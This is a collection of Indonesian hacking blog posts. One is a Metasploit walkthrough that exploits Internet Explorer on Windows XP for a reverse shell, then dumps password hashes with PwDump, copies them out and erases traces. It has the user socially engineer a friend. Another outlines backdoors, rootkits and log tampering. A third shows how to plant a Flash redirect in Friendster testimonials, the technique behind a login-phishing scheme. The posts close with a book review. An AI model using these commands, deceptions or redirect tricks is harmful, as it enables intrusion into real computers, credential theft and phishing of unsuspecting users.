Belajar Hack Yuck! (3) – Hack Windows XP SP2

14 11 2006

*Fyuhh… akhirnya sempet juga nyelesain tulisan ini. Yosh.. here is the prof of concept!.

Disclaimer: This document was written in the interest of education. The author cannot be held responsible for how the topics discussed in this document are applied.

Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.

Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?

The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.

Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.

Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!

Pertama2 jalankan ‘mfsconsole’!

main1.JPG

Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.

Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.

This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.

Untuk melihat info dari exploit ini gunakan perintah :

msf > info ie_vml_rectfill

Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja 😀 ).


Untuk menggunakan exploit gunakan perintah2 berikut dalam console :

msf > use_ie_vml_rectfill

msf > set PAYLOAD win32_reverse

msf > set RHOST ip_target

msf > set LHOST ip_penyerang

msf > exploit

Hasilnya akan tampak seperti gambar berikut :

exploit1.JPG

Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus 😀

Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.

 

Crack da Password!

Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!

Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :

pwdump.JPG

Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah

C:\temp\Pwdump –o pass.txt 127.0.0.1

Klo berhasil akan tampak pada gambar berikut.

 dump1.JPG

 Lalu copy file pass.txt ke komputer kita

C:\temp\copy pass.txt z:

Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.

clean.JPG

Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).

Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.

Happy Hacking…..

 

Beberapa saran agar windows kita tetap aman terhadap exploit diatas.

1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.

2. Patch Windows anda.

3. Gunakan antivirus dengan update terbaru

4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p

 

 

Reference :

http://www.metasploit.com





Belajar Hack Yuck! (1) – Konsep Dasar Hacking

8 11 2006

Intro

Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran saya melihat sedikit2 cara penetration test yang dilakukan. Waktu itu saya belum banyak tahu tools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu, yang saya ingat aplikasi itu menggunakan alamat http://127.0.0.1:55555, nah berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit Framework!.

Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.

 

 

Bagian 1

*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ‘standar’, hacking sebenarnya tidak harus selalu sesuai dengan ‘standar’ ini.

 

Hacking buat pemula

– by aCh

Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….

Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….

Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.

Pro dan Kontra Hacking

Pro

Kontra

Etika Hacking

Semua informasi adalah free

Jika semua informasi adalah free, maka tidak ada ladi privacy

Aspek Security

Intrusion adalah ilustrasi kelemahan sistem

Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci

Idle Machines

Hacking hanya pada idle machines

idle machines milik siapa ?

science education

hanya membobol tapi tidak merusak

“hacker wannabe” berpotensi sangat besar untuk merusak

Okeh, sekarang waktunya melakukan aksi…

 

1. Fase Persiapan

~ Mengumpulkan informasi sebanyak-banyaknya

– Secara Aktif : – portscanning

– network mapping

– OS Detection

– application fingerprinting

Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat

– Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)

– via internet registries (informasi domain, IP Addres)

– Website yang menjadi terget

 

2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
– compile eksploit -> local host ->

$gcc -o exploit exploit.c

$./exploit

# hostname (# tanda mendapatkan akses root)

remote host -> $gcc -o exploit exploit.c

$./exploit -t www.target.com

# (klo beruntung mendapatkan akes root)

~ Brute Force

– Secara berulang melakukan percobaan otentifikasi.

– Menebak username dan password.

– Cracking password file

~ Social Engineering

– Memperdayai user untuk memeberi tahu Username dan password

– Intinya ngibulin user….

 

3. Fase Setelah Eksekusi

~ Menginstall backdoor, trojans, dan rootkit

~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin

~ Menyalin /etc/passwd atau /etc/shadow/passwd

Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!

 

Referensi :

Hacking and Defense, Jim Geovedi, negative@magnesium.net

Network Defense, Jim Geovedi, negative@magnesium.net

 





Hack Friendster

12 12 2006

Dalam artikel saya sebelumnya mengenai Friendster palsu, teknik yang digunakan untuk me-redirect suatu profile dari Friendster adalah dengan menggunakan flash. Sekarang saya ingin memberikan contoh bagaimana kita me-redirect profile Friendster seseorang menuju URL yang kita inginkan. Pertama kita buat script flash sederhana seperti kode dibawah ini. Untuk yang menggunakan linux, install Ming package terlebih dahulu. Ming adalah library yang dapat menghasilkan file Macromedia Flash (.swf). Jika anda menggunakan ubuntu dan belum menginstall, jalankan perintah berikut :

apt-get install libming-util

Jika Ming berhasil diinstal, buat sebuah file dengan editor anda yang berisi kode berikut dan simpan dengan nama flash.as :

getURL("http://www.contoh.com");

misalkan seperti berikut :

getURL("https://chaidir.wordpress.com");

Setelah itu buat file flash (.swf) dengan menjalankan perintah berikut :

chaidir@osxbuntu:~$ /usr/lib/libming/bin/makeswf flash.as

Jika berhasil, maka akan dihasilkan file Flash bernama out.swf. File ini ketika diakses dari browser, akan me-redirect ke URL yang kita definisikan sebelumnya. Contohnya silahkan akses flash yang telah saya buat disini. Apabila anda mengakses url tersebut, maka anda langsung ‘diarahkan’ menuju https://chaidir.wordpress.com.

Selanjutnya upload file flash tadi (out.swf) ke tempat yang mudah diakses. Misalkan di http://numpang.com/out.swf. Setelah itu, kirim testimonial ke orang yang ingin di berikan testimonial dengan memasukkan file flash ini.

Jangan mengirimkan testimonial ini keteman anda, karena profile teman anda tidak akan bisa diakses!

Caranya masukkan kode berikut :


<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0' width='400' height='250'><param name='movie' value='http://numpang.com/out.swf' /><param name='quality' value='high' /><embed src='http://numpang.com/out.swf' quality='high' pluginspage='http://www.macromedia.com/go/getflashplayer' type='application/x-shockwave-flash' width='400' height='250' allowScriptAccess="never"></embed></object>

Untuk mencoba apakah testimonial ini berhasil, klik priview. Agar sang penerima testimonial bisa meng-approve testimonial, hapus ganti file flash tadi terlebih dahulu (http://numpang.com/out.swf) dengan flash animasi yang menarik perhatian. Misalnya dengan flash dari Babaflash Forum. Baru setelah di approve, aktifkan ganti lagi (upload lagi) dengan file flash tadi.

Nah, dalam contoh kasus di Friendster palsu, sang cracker me-redirect setiap user yang ingin melihat profile yang sudah disusupi flash tadi dan mengarahkannya ke http://www.friendster.co.nr. Dan celakanya disitu dibuat halaman yang menyerupai halaman login Friendster dan seolah-olah terjadi kesalahan yang mengharuskan setiap user memasukkan email dan passwordnya.

‘Fasilitas’ untuk mengirimkan testimonial di Friendster inilah yang dimanfaatkan cracker untuk ‘mengelabuhi’ orang-orang yang sering bermain-main dengan Friendster. Oleh karena itu, berhati-hatilah terhadap testimonial yang menggunakan flash. Jika mendapatkan testimonail dari orang yang tidak dikenal (emang bisa ya?) atau flash yang ngga penting, lebih baik tidak usah di approve aja.

Pesan buat anak2 ABG pecinta Friendster :

Dan buat anak2 ABG yang sering ke warnet hanya untuk ber-Friendster ria.. apakah tidak ada aktivitas lain di internet selain ber-Friendsteran?! Sangat sayang sekali jika kamu ke warnet cuman liat cowo2 ato cewe2 yang friendsterGenic (keren di friendster doang!) Mendingan belajar cari informasi yang menarik atau belajar apapun dari Internet. Atau lebih baik lagi klo kamu buat buat blog sendiri. Selain belajar nulis, kamu kan juga bisa nambah temen baru. Rugi loh klo bayar 3000 – 4000 perak cuman buat ngeliat Friendster doang, mendingan buat beli bakso!

Referensi :

http://ezinearticles.com/?Redirect-Your-MySpace-Traffic-With-Flash&id=364276

Sekilas info :

ternyata http://www.friendster.co.nr dah diubah toh… hihihi :-D. Maaf ya kk.. dah publish ‘karya’ kamu 😀





Stealing the Netwrok, How to Own the Box

26 09 2006

Tadi malam, ketika saya membaca ezine echo, pada bagian “Books n Authors” saya melihat salah satu buku favoritnya adalah “How to Own the Box”. Sejenak saya mengingat-ingat, sepertinya saya pernah lihat buku ini. Akhirnya dengan memanfaatkan Copernix Desktop Search, saya mencari ebook tersebut dikomputer saya dengan kata kunci “How to Own the Box”. Setelah beberapa saat mencari, sepertinya tidak lebih dari 5 detik (Thx to Copernic DS), akhirnya saya menemukan ebook tersebut. Ebook tersebut saya peroleh dari kumpulan koleksi ebook yang ada di kampus (terlepas dari legal atau tidak, tapi atas nama ilmu pengetahuan, saya kira kita dapat memaklumi, mengingat kalau beli yang orginal itu pasti sangat mahal bagi pengangguran seperti saya).

Setelah sholat Tarawih, akhirnya saya baca juga buku itu, setelah sebelumnya hanya suka mengoleksi ebook dan entah kapan akan dibaca. Bagian pertama yang saya baca yaitu bagian “Contributor”. Disitu banyak sekali nama yang tidak saya kenal, namun sepertinya mereka adalah para ahli dibidang Keamanan Jaringan. Dan setelah membaca beberapa bagian bukunya, saya dapat menyimpulkan bahwa mereka tak lain adalah Hacker yang menceritakan pengalamannya melakukan aksi Hacking. Bahkan ada salah seorang penulis, Paul Craig, yang berusia 22 tahun. Usia yang sama dengan saya, namun memiliki keahlian yang sangat jauh berbeda dengan saya :-D.

Selanjutnya pada bagian “Content” dipaparkan cerita singkat untuk masing-masing “Chapter” (Bab). Buku itu terdiri dari 10 Chapter dan Appendix. Dalam kata pembuka (Foreword), Jeff Moss -pendiri Black Hat, Inc. , mengatakan bahwa :

Stealing the Network: How to Own the Box is a unique book in the fiction department. It combines stories that are fictional with technology that is real.While none of these specific events have happened, there is no reason why they could not.You could argue it provides a roadmap for criminal hackers, but I say it does something else: It provides a glimpse into the creative minds of some of today’s best hackers, and even the best hackers will tell you that the game is a mental one

Buku ini menjelaskan kisah fiksi dengan teknologi nyata tentang proses hacking dari beberapa hacker dan pandangan mengenai pemikiran kreatif seorang hacker. Dan memang benar, ketika saya membacanya, buku ini terkesan seperti sebuah buku cerita mengenai pandangan maupun aksi Hacker dalam ‘melaksanakan’ aksinya dan ‘menaklukkan’ sebuah Sistem/Jaringan. Berbeda dengan buku-buku tentang Hacking yang pernah saya baca yang biasanya hanya bersifat teknis, buku ini seperti sebuah novel fiksi dengan penjelasan ilmiah mengenai teknik Hacking. Walaupun tidak disebutkan secara detail cara yang digunakan, namun dalam setiap kisahnya biasanya disebutkan konsep hackingnya secara umum (menggunakan eksploit, SQL Injection, atau social engineering, dsb) serta tools apa saja yang digunakan. Selain itu, biasanya disebutkan latar belakang melakukan aksi Hacking-nya, seperti ada yang kecewa terhadap pelayanan atau bahkan ada yang sampai menjual Database Kartu Kredit untuk dijual :-D.
Buku ini sangat layak dan dianjurkan bagi orang yang tertarik dibidang Keamanan Jaringan, maupun orang-orang yang ingin menjadi Hacker atau mengetahui cara berpikir seorang Hacker. Walaupun saat ini saya bukan seorang Hacker dan masih dari jauh untuk menjadi Hacker (bukan cracker loh!), namun buku ini dapat membangkitkan semangat untuk terus belajar, belajar dan belajar!. Saya pribadi agak iri melihat Hacker di buku ini atau bahkan di Indonesia yang memiliki kemampuan yang sangat baik dalam bidang Keamanan Jaringan. Bukankah kata Nabi Muhammad SAW, salah satu iri yang diperolehkan adalah iri dalam bidang ilmu pengetahuan. Dalam usia yang 22 tahun ini, kemampuan saya hanya segitu-gitu aja. Sangat jauh berbeda dengan Paul Craig yang dalam 22 tahun sudah memiliki ilmu yang cukup ahli dibidang keamanan jaringan.

Salah satu hal yang membuat bangga dengan hacker adalah kerja keras dan tak pernah mengenal kata menyerah, seperti yang disampaikan oleh Jeff Moss :

In the real world, hackers go after the “low-hanging fruit.”They take the least risk and go for the greatest reward.They often act alone or in small groups. They don’t have government funding or belong to world criminal organizations. What they do have is spare time and a lot of curiosity, and believe me, hacking takes a lot of time. Some of the best hackers spend months working on one exploit. At the end of all that work, the exploit may turn out to not be reliable or to not function at all! Breaking into a site is the same way. Hackers may spend weeks performing reconnaissance on a site, only to find out there is no practical way in, so it’s back to the drawing board.

Hacking membutuhkan keingintahuan, keahlian serta kesabaran, bahkan dalam buku ini ada yang sampai meneliti selama 2 tahun, untuk dapat ‘menyusup’ ke System seseorang.

Setelah membaca buku ini, saya jadi semangat lagi untuk belajar, belajar dan ngoprek. Mengingat sejak 2 tahun yang lalu, niat awal untuk belajar dan ngoprek di Divkom mandek dan beralih menjadi Gamer DotA karena teman-teman di divkom banyak yang bermain game itu. Mudah-mudahan keterbatasan akses internet tidak menjadi halangan untuk belajar dan mengoprek lagi (Duh, kapan dapet kerja ya… bisa tekor nih kalo pake telkomn(y)et terus… 😦 )
Yosh!! Ganbari masu!!